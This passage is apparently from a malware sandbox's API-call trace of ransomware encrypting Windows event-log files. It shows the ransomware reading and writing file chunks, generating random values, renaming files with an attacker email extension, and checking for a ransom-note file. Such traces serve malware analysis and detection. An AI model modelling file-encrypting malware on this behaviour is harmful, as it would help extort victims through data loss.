lpOverlapped=0x0) returned 1 [0061.439] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.439] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.439] WriteFile (in: hFile=0x5c4, lpBuffer=0x347b1b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x802f9e0, lpOverlapped=0x0 | out: lpBuffer=0x347b1b0*, lpNumberOfBytesWritten=0x802f9e0*=0x20, lpOverlapped=0x0) returned 1 [0061.439] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b1b0) returned 1 [0061.439] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.439] WriteFile (in: hFile=0x5c4, lpBuffer=0x347b160*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x802f9f4, lpOverlapped=0x0 | out: lpBuffer=0x347b160*, lpNumberOfBytesWritten=0x802f9f4*=0x8, lpOverlapped=0x0) returned 1 [0061.439] WriteFile (in: hFile=0x5c4, lpBuffer=0x802fa0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x802f9f4, lpOverlapped=0x0 | out: lpBuffer=0x802fa0c*, lpNumberOfBytesWritten=0x802f9f4*=0x4, lpOverlapped=0x0) returned 1 [0061.439] WriteFile (in: hFile=0x5c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x802f9f4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x802f9f4*=0x4, lpOverlapped=0x0) returned 1 [0061.439] WriteFile (in: hFile=0x5c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x802f9f4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x802f9f4*=0x6c, lpOverlapped=0x0) returned 1 [0061.440] WriteFile (in: hFile=0x5c4, lpBuffer=0x347b2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x802f9f4, lpOverlapped=0x0 | out: lpBuffer=0x347b2a0*, lpNumberOfBytesWritten=0x802f9f4*=0x20, lpOverlapped=0x0) returned 1 [0061.440] WriteFile (in: hFile=0x5c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x802f9f4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x802f9f4*=0x4, lpOverlapped=0x0) returned 1 [0061.440] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b2a0) returned 1 [0061.440] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b138) returned 1 [0061.440] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b160) returned 1 [0061.440] CloseHandle (hObject=0x5c4) returned 1 [0061.442] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x341e0b8 [0061.442] wcscpy (in: _Dest=0x341e0b8, _Source="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" [0061.442] wcscat (in: _Dest=0x341e0b8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0061.442] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.443] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0061.443] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e0b8) returned 1 [0061.443] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", dwFileAttributes=0x20) returned 0 [0061.443] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433ce8 [0061.443] wcscpy (in: _Dest=0x3433ce8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0061.443] wcscat (in: _Dest=0x3433ce8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0061.443] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0061.443] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433ce8) returned 1 [0061.443] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd470) returned 1 [0061.444] RtlExitUserThread (Status=0x1) Thread: id = 105 os_tid = 0x1010 [0061.445] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 0x20 [0061.445] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx", dwFileAttributes=0x20) returned 1 [0061.445] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4 [0061.445] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x80afac8 | out: lpFileSize=0x80afac8*=1052672) returned 1 [0061.445] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x100ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.445] ReadFile (in: hFile=0x5c4, lpBuffer=0x80afa9c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x80afa98, lpOverlapped=0x0 | out: lpBuffer=0x80afa9c*, lpNumberOfBytesRead=0x80afa98*=0x4, lpOverlapped=0x0) returned 1 [0061.447] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.447] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b1d8 [0061.447] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b2a0 [0061.447] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b138 [0061.447] NtQuerySystemTime (in: CurrentTime=0x80afa74 | out: CurrentTime=0x80afa74*=132121176193364026) returned 0x0 [0061.447] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0x9b78751e [0061.447] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0x2e70c682 [0061.447] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0xc4d15735 [0061.447] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0x3a27ab0f [0061.447] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0x19a2757f [0061.447] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0xa96a450a [0061.447] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0x2c5e897e [0061.447] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0x6982637f [0061.447] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0x6c9d221e [0061.447] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0xbdb4d994 [0061.447] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0xbd3a832d [0061.447] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0x1494f688 [0061.447] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0x4b2df1b4 [0061.447] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0x92528fe [0061.447] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0x846dc2c8 [0061.447] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0xde41799e [0061.447] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0xbe47e881 [0061.447] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0x9c97228c [0061.447] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0x4aec8b0f [0061.447] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0xbb411eed [0061.447] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0x30e54710 [0061.447] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0xde5c6596 [0061.447] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0x957f6e6d [0061.447] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0x30c4304d [0061.447] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0x3efffdce [0061.447] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0xe8bd71ba [0061.447] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0x9290c681 [0061.448] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0x1ab036b6 [0061.448] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0x95f7156 [0061.448] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0x1a55e122 [0061.448] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0xfb002804 [0061.448] RtlRandom (in: Seed=0x80afa80 | out: Seed=0x80afa80) returned 0x6850039a [0061.456] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b160 [0061.458] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479bc8 [0061.458] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b1b0 [0061.458] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0061.458] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b1d8) returned 1 [0061.458] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.458] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.458] ReadFile (in: hFile=0x5c4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x80afa34, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x80afa34*=0x4096, lpOverlapped=0x0) returned 1 [0061.459] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.459] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.460] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.460] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b1d8 [0061.460] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b1d8) returned 1 [0061.460] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.460] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b1d8 [0061.460] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b200 [0061.460] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b200) returned 1 [0061.460] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.460] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.460] WriteFile (in: hFile=0x5c4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x80afa34, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x80afa34*=0x4096, lpOverlapped=0x0) returned 1 [0061.460] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.460] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x812c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.461] ReadFile (in: hFile=0x5c4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x80afa34, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x80afa34*=0x4096, lpOverlapped=0x0) returned 1 [0061.462] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x812c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.462] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.462] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0061.462] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b200 [0061.462] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b200) returned 1 [0061.462] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.463] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b200 [0061.463] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b228 [0061.463] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b228) returned 1 [0061.463] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0061.463] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.463] WriteFile (in: hFile=0x5c4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x80afa34, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x80afa34*=0x4096, lpOverlapped=0x0) returned 1 [0061.463] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.463] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xfcf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.463] ReadFile (in: hFile=0x5c4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x80afa34, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x80afa34*=0x4096, lpOverlapped=0x0) returned 1 [0061.464] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xfcf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.464] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.464] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479bc8 [0061.464] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b228 [0061.464] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b228) returned 1 [0061.465] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.465] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b228 [0061.465] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b250 [0061.465] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b250) returned 1 [0061.465] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0061.465] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.465] WriteFile (in: hFile=0x5c4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x80afa34, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x80afa34*=0x4096, lpOverlapped=0x0) returned 1 [0061.465] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.465] WriteFile (in: hFile=0x5c4, lpBuffer=0x347b1d8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x80afa90, lpOverlapped=0x0 | out: lpBuffer=0x347b1d8*, lpNumberOfBytesWritten=0x80afa90*=0x20, lpOverlapped=0x0) returned 1 [0061.465] WriteFile (in: hFile=0x5c4, lpBuffer=0x347b200*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x80afa90, lpOverlapped=0x0 | out: lpBuffer=0x347b200*, lpNumberOfBytesWritten=0x80afa90*=0x20, lpOverlapped=0x0) returned 1 [0061.465] WriteFile (in: hFile=0x5c4, lpBuffer=0x347b228*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x80afa90, lpOverlapped=0x0 | out: lpBuffer=0x347b228*, lpNumberOfBytesWritten=0x80afa90*=0x20, lpOverlapped=0x0) returned 1 [0061.465] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.466] WriteFile (in: hFile=0x5c4, lpBuffer=0x347b1b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x80afa98, lpOverlapped=0x0 | out: lpBuffer=0x347b1b0*, lpNumberOfBytesWritten=0x80afa98*=0x8, lpOverlapped=0x0) returned 1 [0061.466] WriteFile (in: hFile=0x5c4, lpBuffer=0x80afab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x80afa98, lpOverlapped=0x0 | out: lpBuffer=0x80afab0*, lpNumberOfBytesWritten=0x80afa98*=0x4, lpOverlapped=0x0) returned 1 [0061.466] WriteFile (in: hFile=0x5c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x80afa98, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x80afa98*=0x4, lpOverlapped=0x0) returned 1 [0061.466] WriteFile (in: hFile=0x5c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x80afa98, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x80afa98*=0x6c, lpOverlapped=0x0) returned 1 [0061.466] WriteFile (in: hFile=0x5c4, lpBuffer=0x347b2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x80afa98, lpOverlapped=0x0 | out: lpBuffer=0x347b2a0*, lpNumberOfBytesWritten=0x80afa98*=0x20, lpOverlapped=0x0) returned 1 [0061.466] WriteFile (in: hFile=0x5c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x80afa98, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x80afa98*=0x4, lpOverlapped=0x0) returned 1 [0061.466] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b2a0) returned 1 [0061.466] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b160) returned 1 [0061.466] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b1b0) returned 1 [0061.466] CloseHandle (hObject=0x5c4) returned 1 [0062.833] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x33ca4f8 [0062.833] wcscpy (in: _Dest=0x33ca4f8, _Source="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" [0062.833] wcscat (in: _Dest=0x33ca4f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.mailto[kokoklock@cock.li].d0e731" [0062.833] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0062.835] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0062.835] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ca4f8) returned 1 [0062.835] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx", dwFileAttributes=0x20) returned 0 [0062.836] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433be8 [0062.836] wcscpy (in: _Dest=0x3433be8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.836] wcscat (in: _Dest=0x3433be8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0062.836] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0062.836] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433be8) returned 1 [0062.836] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccf70) returned 1 [0062.836] RtlExitUserThread (Status=0x1) Thread: id = 106 os_tid = 0x1014 [0061.600] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 0x20 [0061.600] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", dwFileAttributes=0x20) returned 1 [0061.600] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4 [0061.601] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x812fdb0 | out: lpFileSize=0x812fdb0*=69632) returned 1 [0061.601] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.601] ReadFile (in: hFile=0x5b4, lpBuffer=0x812fd84, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x812fd80, lpOverlapped=0x0 | out: lpBuffer=0x812fd84*, lpNumberOfBytesRead=0x812fd80*=0x4, lpOverlapped=0x0) returned 1 [0061.602] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.602] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b250 [0061.602] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b2a0 [0061.602] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b1b0 [0061.602] NtQuerySystemTime (in: CurrentTime=0x812fd5c | out: CurrentTime=0x812fd5c*=132121176194925842) returned 0x0 [0061.602] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0xb3cad127 [0061.602] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0xd3607ffb [0061.602] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0xa92b65d [0061.602] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0x8728818e [0061.602] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0x5efb68d3 [0061.602] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0x77b61d2b [0061.602] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0xc2483fe8 [0061.602] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0x6777dfb0 [0061.602] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0xfe4bfc69 [0061.602] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0x2a32cf9b [0061.602] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0x54eff5 [0061.602] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0x2f14b055 [0061.602] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0x7b80e58f [0061.603] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0xddab8e13 [0061.603] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0x6aaf50c7 [0061.603] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0x271494ce [0061.603] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0x8f0372f [0061.603] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0x12e20b95 [0061.603] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0x2909bafc [0061.603] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0xa1729359 [0061.603] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0x9953a5e5 [0061.603] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0xa7c52519 [0061.603] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0x3b3f073f [0061.603] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0xfb690620 [0061.603] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0x436fde26 [0061.603] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0x7c785716 [0061.603] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0x7823f0e1 [0061.603] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0x2dfab29e [0061.603] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0x9629ecd [0061.603] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0xa2fdc21e [0061.603] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0x551d075a [0061.603] RtlRandom (in: Seed=0x812fd68 | out: Seed=0x812fd68) returned 0x33df746f [0061.612] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b2c8 [0061.614] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479bc8 [0061.614] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b2f0 [0061.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, 